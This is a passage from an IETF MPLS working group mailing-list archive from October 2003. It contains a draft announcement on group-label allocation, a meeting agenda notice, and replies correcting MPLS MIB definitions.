lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>using</span> a group
label over <span class=3DSpellE>Multiprotocol</span> Label =
Switching(MPLS). It <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>identifies</span>
functional and performance capabilities required to =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>allocate</span> a
group label in master-slave network and peer to peer =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>network</span>, which
facilitates efficient and reliable group communication =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span class=3DGramE>and</span> =
Quality of
Service(QoS) in MPLS domain. It also identifies =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>functional</span>
capabilities required to implement convergence services =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>related</span> to
Content Distribution Network(CDN) and Virtual Private =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp;</span><span
style=3D'mso-spacerun:yes'>&nbsp;</span><span =
class=3DGramE>Network(</span>VPN).
These capabilities can be used to provide high quality =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span class=3DGramE>and</span> =
scalable
service. <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span>This document includes the =
allocation
mechanism of a group label in <o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><span
style=3D'mso-spacerun:yes'>&nbsp; </span><span =
class=3DGramE>order</span> to
perform unidirectional P2MP communication.<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><o:p>&nbsp;</o:p></span>=
</font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Your feedback will be =
very
much appreciated.<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'><o:p>&nbsp;</o:p></span>=
</font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;mso-pagination:widow-orphan;
layout-grid-mode:char;word-break:keep-all'><font size=3D2 =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;
mso-bidi-font-family:Gulim;mso-font-kerning:0pt'>Could you give me 10 =
min to
make a presentation?<o:p></o:p></span></font></p>

<p class=3DMsoNormal align=3Dleft =
style=3D'text-align:left;text-indent:5.0pt;
mso-char-indent-count:.5;mso-pagination:widow-orphan;layout-grid-mode:cha=
r;
word-break:keep-all'><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-bidi-font-family:
Gulim;mso-font-kerning:0pt'><br>
Thanks.&nbsp; <br>
&nbsp;<br>
Min <span class=3DSpellE>Suk</span> Sung</span></font><font =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;font-family:Gulim;mso-hansi-font-famil=
y:
Arial;mso-bidi-font-family:Arial'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#44404;&#47548;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;font-family:Gulim;mso=
-hansi-font-family:
Arial;mso-bidi-font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#48148;&#53461;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Min=
 Suk
Sung (<a =
href=3D"mailto:mssung@icu.ac.kr">mssung@icu.ac.kr</a>)</span><span
lang=3DEN-US style=3D'mso-no-proof:yes'><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#48148;&#53461;><span =
lang=3DEN-US
style=3D'font-size:10.0pt;mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Bro=
adband
Network Laboratory (<a =
href=3D"http://bnlab.icu.ac.kr/">http://bnlab.icu.ac.kr/</a>)<br>
Information and </span></font><st1:place><st1:PlaceName><span =
lang=3DEN-US
  =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Communications</span=
></st1:PlaceName><span
 lang=3DEN-US style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'> =
</span><st1:PlaceType><span
  lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>University</span></s=
t1:PlaceType></st1:place><span
lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>(ICU)<br>
58-4 Hwa-Ahm Dong, Yusong Gu, </span><st1:place><st1:City><span =
lang=3DEN-US
  =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Taejon</span></st1:C=
ity><span
 lang=3DEN-US style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>, =
</span><st1:country-region><span
  lang=3DEN-US =
style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'>Korea</span></st1:co=
untry-region></st1:place><span
lang=3DEN-US style=3D'mso-bidi-font-size:10.0pt;mso-no-proof:yes'> =
305-732<br>
(Tel) +82-42-866-6104, 016-532-2969</span><span =
lang=3DEN-US><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D2 face=3D&#48148;&#53461;><span =
lang=3DEN-US><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0001_01C3970B.58977060--



From owner-mpls@UU.NET  Mon Oct 20 12:50:33 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03413
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 12:50:32 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplgd11890
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 16:50:41 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplgd11706;
	Mon, 20 Oct 2003 16:50:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplgc23679
	for mpls-outgoing; Mon, 20 Oct 2003 16:34:49 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplgc23674
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 16:34:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplgc17597
	for <mpls@UU.NET>; Mon, 20 Oct 2003 16:33:30 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplgc03129
	for <mpls@UU.NET>; Mon, 20 Oct 2003 16:33:27 GMT
Received: from smtp7.hy.skanova.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp7.hy.skanova.net [195.67.199.140])
	id QQplgc03095
	for <mpls@UU.NET>; Mon, 20 Oct 2003 16:33:26 GMT
Received: from pi.se (h45n1fls31o888.telia.com [213.67.172.45])
	by smtp7.hy.skanova.net (8.12.10/8.12.10) with ESMTP id h9KGXPa0016531
	for <mpls@UU.NET>; Mon, 20 Oct 2003 18:33:25 +0200 (CEST)
Message-ID: <3F940E2B.10406@pi.se>
Date: Mon, 20 Oct 2003 18:32:43 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mpls wg <mpls@UU.NET>
Subject: tentative agenda for Minneapolis
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

All,

I've started to build the IETF58 mpls agenda at:

http://urax.utfors.net/~loa/mpls-agenda.htm

Note this is so far just a collection of the agenda slots
requests. If your request is not there, ping me again.

/Loa

-- 
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se





From owner-mpls@UU.NET  Mon Oct 20 19:06:53 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13102
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 19:06:53 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhc20030
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 23:07:01 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplhc19763;
	Mon, 20 Oct 2003 23:06:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplhb23349
	for mpls-outgoing; Mon, 20 Oct 2003 22:47:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplhb23344
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 22:47:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplhb01733
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:45:41 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhb05289
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:45:41 GMT
Received: from sj-iport-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQplhb05270
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:45:40 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 20 Oct 2003 15:42:29 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9KMjaQY011237
	for <mpls@uu.net>; Mon, 20 Oct 2003 15:45:36 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADH90301;
	Mon, 20 Oct 2003 18:45:35 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9KMjZL17697 for mpls@uu.net; Mon, 20 Oct 2003 18:45:35 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplha22665
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 22:44:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplha02767
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:41:24 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplha29851
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:41:23 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplha29838
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:41:22 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9KMfIjP024085;
	Mon, 20 Oct 2003 15:41:19 -0700 (PDT)
Received: from tnadeauw2k02 (tokyo-vpn-user52.cisco.com [10.70.82.52])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADH89988;
	Mon, 20 Oct 2003 18:41:14 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Stefan Winter'" <mail@stefan-winter.de>, <mpls@UU.NET>, <iesg@ietf.org>
Subject: RE: errors in draft-ietf-te-mib-12.txt
Date: Mon, 20 Oct 2003 18:41:13 -0400
Organization: Cisco Systems, inc.
Message-ID: <021101c3975b$457bdf70$63de780a@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
In-Reply-To: <200309070945.54149.mail@stefan-winter.de>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


	Sorry for the delay. Answers inline.

>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Stefan Winter
>Sent: Sunday, September 07, 2003 3:46 AM
>To: mpls@UU.NET; iesg@ietf.org
>Subject: errors in draft-ietf-te-mib-12.txt
>
>
>Hello,
>
>sorry for bothering you again. But during the implementation 
>of the MPLS MIBs 
>I came across some more inconsistencies...
>
>1) concerning data types: mplsTunnelIndex is of syntax 
>mplsTunnelIndex, 
>derived from UNSIGNED32. But the corresponding scalar 
>mplsTunnelIndexNext is 
>of type IndexIntegerNextFree, derived from INTEGER32. I don't 
>think it is a good idea to have different data types for these two.

	It was recommended that we used IndexIntegerNextFree
as the basis for this object. I have constrained the 
values to being only positive and 0 to conincide with
the mplsTunnelIndex value and 0 as defined in the indexNext
object:

mplsTunnelIndexNext OBJECT-TYPE
   SYNTAX        IndexIntegerNextFree (0..65535)
   MAX-ACCESS    read-only
   STATUS        current
   DESCRIPTION  
       "This object contains an unused value for
        mplsTunnelIndex, or a zero to indicate
        that none exist. Negative values are not allowed,
        as they do not correspond to valid values of
        mplsTunnelIndex.
 
        Note that this object offers an unused value
        for an mplsTunnelIndex value at the ingress 
        side of a tunnel. At other LSRs the value
        of mplsTunnelIndex SHOULD be taken from the
        value signaled by the MPLS signaling protocol.
       "
   ::= { mplsTeObjects 1 }


>2) DESCRIPTION clause of mplsTunnelIndex states "should obtain 
>new values for 
>row creation in this table by reading 
>mplsTunnelIndexNextFree". The scalar in 
>question is not called mplsTunnelIndexNextFree but mplsTunnelIndexNext.

	Good catch; fixed:

mplsTunnelIndex OBJECT-TYPE
   SYNTAX        MplsTunnelIndex
   MAX-ACCESS    not-accessible
   STATUS        current
   DESCRIPTION
        "Uniquely identifies a set of tunnel instances
          between a pair of ingress and egress LSRs. 
          Managers should obtain new values for row 
          creation in this table by reading 
          mplsTunnelIndexNext. When
          the MPLS signalling protocol is rsvp(2) this value
          SHOULD be equal to the value signaled in the
          Tunnel Id of the Session object. When the MPLS
          signalling protocol is crldp(3) this value
          SHOULD be equal to the value signaled in the
          LSP ID."
   ::= { mplsTunnelEntry 1 }

>BTW, I never got a reply to my comments in message 
>http://cell.onecall.net/mhonarc/mpls/2003-Aug/msg00105.html
>I hope it didn't get lost...

	Sorry. I believe this was the message in question:

Hello,

there is an inconsistency in the MIB definition of mplsTunnelHopTable in
the 
current draft of MPLS-TE-STD-MIB.
The DESCRIPTION clause of mplsTunnelHopTable claims that each row has
two 
indexes, mplsTunnelHopListIndex (Index 1) and mplsTunnelHopIndex (Index
2).
But the INDEX clause of mplsTunnelHopEntry has three indexes,
mplsTunnelHopListIndex (Index 1) 
mplsTunnelHopPathOptionIndex (Index 2)
mplsTunnelHopIndex (Index 3)
The DESCRIPTION clause of mplsTunnelHopTable needs to be updated to
reflect 
the correct indexing and should explain the secondry index 
mplsTunnelHopPathOptionIndex.


	I have corrected this in version -13.

	--Tom



From owner-mpls@UU.NET  Mon Oct 20 19:08:47 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13160
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 19:08:47 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhc28280
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 23:08:56 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplhc27992;
	Mon, 20 Oct 2003 23:08:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplhb23763
	for mpls-outgoing; Mon, 20 Oct 2003 22:53:54 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplhb23758
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 22:53:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplhb06440
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:50:01 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhb17945
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:49:55 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQplhb15224
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:48:59 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 20 Oct 2003 15:50:17 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9KMmqFH012752
	for <mpls@uu.net>; Mon, 20 Oct 2003 18:48:52 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADH90524;
	Mon, 20 Oct 2003 18:48:51 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9KMmpq17729 for mpls@uu.net; Mon, 20 Oct 2003 18:48:51 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplhb23335
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 22:47:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplha27955
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:42:22 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplha00038
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:42:22 GMT
Received: from sj-iport-5.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQplha00031
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:42:21 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-5.cisco.com with ESMTP; 20 Oct 2003 15:43:42 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9KMgIjP025104;
	Mon, 20 Oct 2003 15:42:18 -0700 (PDT)
Received: from tnadeauw2k02 (tokyo-vpn-user52.cisco.com [10.70.82.52])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADH90079;
	Mon, 20 Oct 2003 18:42:15 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Stefan Winter'" <mail@stefan-winter.de>, <mpls@UU.NET>
Subject: RE: suggestion for draft-ietf-mpls-lsr-mib
Date: Mon, 20 Oct 2003 18:42:14 -0400
Organization: Cisco Systems, inc.
Message-ID: <021301c3975b$69944a50$63de780a@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
In-Reply-To: <000901c35f43$bd6eab20$2202a8c0@WorkGroup>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: quoted-printable


	A little over 6 months ago I published=20
a draft draft-nadeau-mpls-lc-if-mib that
addresses this stuff. It was accepted as
an MPLS WG draft, but due to being busy I=20
didn't get around to updating it. I just republished
it as a WG document, so it should appear soon.

	--Tom


> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf
> Of Stefan Winter
> Sent: Sunday, August 10, 2003 9:32 AM
> To: mpls@UU.NET
> Subject: suggestion for draft-ietf-mpls-lsr-mib
>=20
>=20
> Hello!
>=20
> During implementing a management agent for the
> MPLS-LSR-STD-MIB a minor missing feature in the MIB showed up=20
> (at least in my understanding). The issue is about=20
> InSegments. When generating a new InSegment, one must specify=20
> the type of label, "generic","atm" or "frame relay". The type=20
> of label cannot be directly read. The current way to do so is=20
> to lookup the mplsInSegmentInterface column of the row, then=20
> look into IF-MIB::ifType.x and evaluate the ifType to guess=20
> which of the three is appropriate. Apart from the fact that=20
> looking up content of another MIB may be expensive, it not at=20
> always possible to determine the type of label. If, for=20
> example, ifType reports that the device is an ATM device,=20
> both the "atm" or the "generic" label types are possible=20
> (since "generic" is always an option). To overcome that=20
> limitation, two options seem to be possible.
> a) extend the mplsInterfaceTable with a column mplsInterfaceLabelType
> b) extend the mplsInSegmentTable with a column mplsInSegmentLabelType
>=20
> where b) is a more general solution as it allows to specify
> the type per-label and not only per-interface, as solution a)=20
> would do. The Syntax for such a column could be INTEGER {=20
> gen(0), atm(1), frame-relay(2) }. And as I write this, I=20
> realize that even OutSegments need to have the type of label=20
> specified... so the same limitation applies to OutSegments, too.
>=20
> These are just my 2 cents from an implementor=B4s view, a
> comment would be nice.
>=20
> Greetings,
>=20
> Stefan Winter
>=20



From owner-mpls@UU.NET  Mon Oct 20 21:30:54 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA18340
	for <mpls-archive@lists.ietf.org>; Mon, 20 Oct 2003 21:30:53 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhm27817
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 01:31:00 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplhm27664;
	Tue, 21 Oct 2003 01:30:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplhl05515
	for mpls-outgoing; Tue, 21 Oct 2003 01:17:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplhl05504
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 01:17:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
